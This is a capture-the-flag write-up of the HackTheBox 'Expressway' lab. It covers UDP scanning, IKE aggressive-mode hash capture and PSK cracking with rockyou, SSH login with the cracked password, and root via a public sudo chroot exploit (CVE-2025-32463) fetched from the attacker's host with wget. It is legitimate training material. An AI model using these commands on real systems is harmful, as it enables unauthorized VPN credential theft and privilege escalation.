HackTheBox — Expressway Writeup

Piar

3 min readNov 7, 2025

Expressway is an easy-level box on HackTheBox that takes us through multiple techniques:

ISAKMP/IKEv1 fingerprinting & cracking
Netgear password extraction
And finally, local privilege escalation via CVE-2025–32463 (Sudo chroot + NSS exploit)

We’ll walk through each stage leading to root with commands included.

Reconnaissance

Nmap TCP scan:

$ sudo nmap -sC -sV 10.129.238.52

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We didn’t find any possible attack surface, so we moved to UDP.

Nmap UDP scan:

$ sudo nmap -sC -sV -sU 10.129.238.52                                                                                

PORT     STATE         SERVICE   VERSION
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
500/udp  open          isakmp?
| fingerprint-strings: 
|   IKE_MAIN_MODE: 
|_    "3DUfw
| ike-version: 
|   attributes: 
|     XAUTH
|_    Dead Peer Detection v1.0
4500/udp open|filtered nat-t-ike

ISAKMP (UDP 500) stands out, which hints at an IPsec VPN target.

Used for VPN negotiation, commonly in Netgear, Cisco, and other router setups.

This host supports:

XAUTH: Extended authentication — username/password login
Dead Peer Detection: Optional keep-alive

VPN Enumeration & IKE Aggressive Mode

Get Piar’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

We used ike-scan to fingerprint the IKE endpoint:

$ ike-scan -M -A --showbackoff 10.129.238.52                                                                         
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52   Aggressive Mode Handshake returned
        HDR=(CKY-R=c2321701eb3d466c)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

IKE Backoff Patterns:

IP Address      No.     Recv time               Delta Time
10.129.238.52   1       1762531013.856644       0.000000
10.129.238.52   2       1762531017.913348       4.056704
10.129.238.52   3       1762531026.312886       8.399538
10.129.238.52   4       1762531038.086007       11.773121
10.129.238.52   Implementation guess: UNKNOWN

Some IKE implementations found have unknown backoff fingerprints
If you know the implementation name, and the pattern is reproducible, you
are encouraged to submit the pattern and implementation details
through the github repository at https://github.com/royhills/ike-scan
Ending ike-scan 1.9.6: 1 hosts scanned in 84.392 seconds (0.01 hosts/sec).  1 returned handshake; 0 returned notify

Extracting IKE Hash

ike-scan -M -A --pskcrack --id=ike@expressway.htb 10.129.238.52 > ike_hash.txt

We extracted the PSK hash parameters but since the format wasn’t the one needed we manually formatted the extracted parameters into the psk-crack format:

└─$ cat ike.pskhash                                                                                                    
806686e5f98c1815b6f2a010998e7cdeb87207be5ee708721ae95bba4de34d61f419593972e411fd08be873207f487f638519cbda47f1800edc5a57f3ce3f0a02e2c3a881570777e2deb20d085a05c96a7bb01f2e5ab924ba09f7e5585ef55cd9f8e2e95c2c4478a8a09e82534a7a4280b02d9f4fea0dd5712a79dd51c76acad:4efe4c67279964b38dd1541f7184f338ca5792e44606cc71e95f26b11cb35765395af1ef711375b3ceb34d4dd3203922a46f34a7c10ca2790d20d03cb9176898f5c7ec3867096bb774c52953c274586d1935da5549366cd887ac28419f401ad515b27d452da44cf033dc29b5c512f423103afe99dae5a4c69ed5e0951fc5d5a0:ea8af48c28c076e5:c25483bbad65fce9:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:968d139fccf9a9faa2555aa51cf9d0e07cf81dce:ed96578715e39ad620c8fb0cd881152bd04b3754afe08c5746260ea0a10f8798:adf7b6d59edf8b02eebb0aaf7f858250a131138e

Crack it

└─$ psk-crack -d /usr/share/wordlists/rockyou.txt ike.pskhash
                                       
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash adf7b6d59edf8b02eebb0aaf7f858250a131138e
Ending psk-crack: 8045040 iterations in 12.169 seconds (661119.59 iterations/sec)

We try to ssh with the credentials: ike:freakingrockstarontheroad

$ ssh ike@10.129.238.52                                                                                              

ike@10.129.238.52 s password: 

ike@expressway:~$ ls
user.txt
ike@expressway:~$ cat user.txt 
eff@@@@@@@@@@@@@@@@4284

Privilege Escalation — CVE-2025–32463

ike@expressway:~$ sudo -V
Sudo version 1.9.17

After googling: Sudo version 1.9.17 exploit site:github.com we found this ready to use exploit https://github.com/r3dBust3r/CVE-2025-32463

We cloned the git repo on our host machine and started a python server:

$ sudo python3 -m http.server 8080                                                                                   

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.238.52 - - [07/Nov/2025 15:34:12] "GET /CVE-2025-32463 HTTP/1.1" 200 -

Then we downloaded the script onto the victim’s machine:

ike@expressway:~$ wget http://10.10.14.150:8080/CVE-2025-32463 -O /tmp/CVE-2025-32463

ike@expressway:~$ chmod +x /tmp/CVE-2025-32463 
ike@expressway:~$ /tmp/CVE-2025-32463 


   _______    ________    ___  ____ ___   ______     ________  __ __  __________
  / ____/ |  / / ____/   |__ \/ __ \__ \ / ____/    |__  /__ \/ // / / ___/__  /
 / /    | | / / __/________/ / / / /_/ //___ \______ /_ <__/ / // /_/ __ \ /_ < 
/ /___  | |/ / /__/_____/ __/ /_/ / __/____/ /_____/__/ / __/__  __/ /_/ /__/ / 
\____/  |___/_____/    /____|____/____/_____/     /____/____/ /_/  \____/____/  

>> Sudo 1.9.14 -> 1.9.17 Local Privilege Escalation via chroot (CVE-2025-32463)
>> Script by @r3dBust3r
>> Exploit reference: https://www.exploit-db.com/exploits/52352

[  2025-11-07 20:34:24  ]

---

[*] a temporary directory created: /tmp/sudo.woot.pckyoyFhoXx
[*] an exploit just landed: /tmp/sudo.woot.pckyoyFhoXx/woot.c
[*] Compiling '/tmp/sudo.woot.pckyoyFhoXx/woot.c'
[*] trying to get root access...
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
root@expressway:/# cat /root/root.txt 
970@@@@@@@@@b5e